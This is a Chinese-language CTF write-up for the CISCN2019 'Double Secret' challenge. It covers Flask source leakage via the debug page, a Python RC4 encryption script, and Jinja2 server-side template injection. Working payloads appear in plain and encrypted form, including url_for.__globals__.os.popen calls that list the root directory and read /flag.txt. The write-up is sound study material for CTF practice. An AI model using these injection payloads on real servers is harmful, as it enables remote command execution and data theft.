[CISCN2019 华东南赛区]Double Secret
文章目录
- [CISCN2019 华东南赛区]Double Secret
- 掌握知识
- 解题思路
- 关键paylaod
掌握知识
flask
框架报错源码泄露,使用脚本进行RC4
加解,ssti
使用内置函数进行模板注入
解题思路
- 打开网站链接,页面就一句话去发现秘密,尝试查看是不是个目录,发现还真是,又显示给我你的秘密我能给你加密,看着样子感觉是要传参,尝试
secret
为参数,随便输入点数据还真返回内容了,但确实没看懂是什么意思
- 直到又随便输入了些内容,发现竟然报错了,看下面内容发现是
flask
框架,还是jinjia2
模块,看来是传参进行ssti
模板注入了。flask
这报错界面可能存在源码泄露,前去查看一下app.py
文件,明白了是怎么个回事了
- 对上面代码进行分析,接受网页传参,会把数据进行
RC4
解密,解密的得到的内容就能进行ssti
模板注入了,所以需要将ssti
模板注入paylaod
进行RC4
加密,进行传参利用,找了个在网站加密,但似乎不太行。这里的密钥也泄露了,就是解密函数的参数
- 选择去网上找一个RC4的加密脚本,输入密钥和要执行的
paylaod
,将加密字符串进行传参。可以先构造{{7*7}}
来检测是否存在ssti
注入,传参之后页面回显49
证明存在
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("key", "key")
- 先尝试使用
jinjia2
的注入paylaod
,但似乎结果都不太好,试了两个都有报错。接下来尝试使用python
基础的ssti
模板注入paylaod
,先查看一下有没有可以进行命令执行的类
- 将数据保存到
notepad++
中,将逗号替换成换行符,开始搜索常用的代码执行的类,但我所保存的能进行命令执行的类都不存在,寻找子类的方法没能成功
- 但是还有另外一种方法,上面是最基础的,还有另外调用OS模板进行命令执行的方法,可以使用
flask
的内置函数中的内容,调用其内部的os
模块进行命令执行,成功回显了目录信息
- 能成功执行代码,那后面就好办了,查看根目录下的目录信息,发现
flag.txt
文件,修改命令读取文件拿下flag
关键paylaod
{{7*7}}
.%14%0E%1F%C3%BD%1A%16
{{[].__class__.__base__.__subclasses__()}}
.%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%ADf%C3%87
{{url_for.__globals__.os.popen('ls /').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0%21%C2%98%0D%C2%99O%C2%B8f%C3%B6~%C3%9B%C2%89%C2%AA%24%13%C2%A0
{{url_for.__globals__.os.popen('cat /flag.txt').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0.%C2%8AY%C2%96G%C3%B7%24%C3%A5%7C%C2%94%C2%99%C3%BAyI%C3%B4T%C2%B7%C2%B8Gh%2A%C2%A27q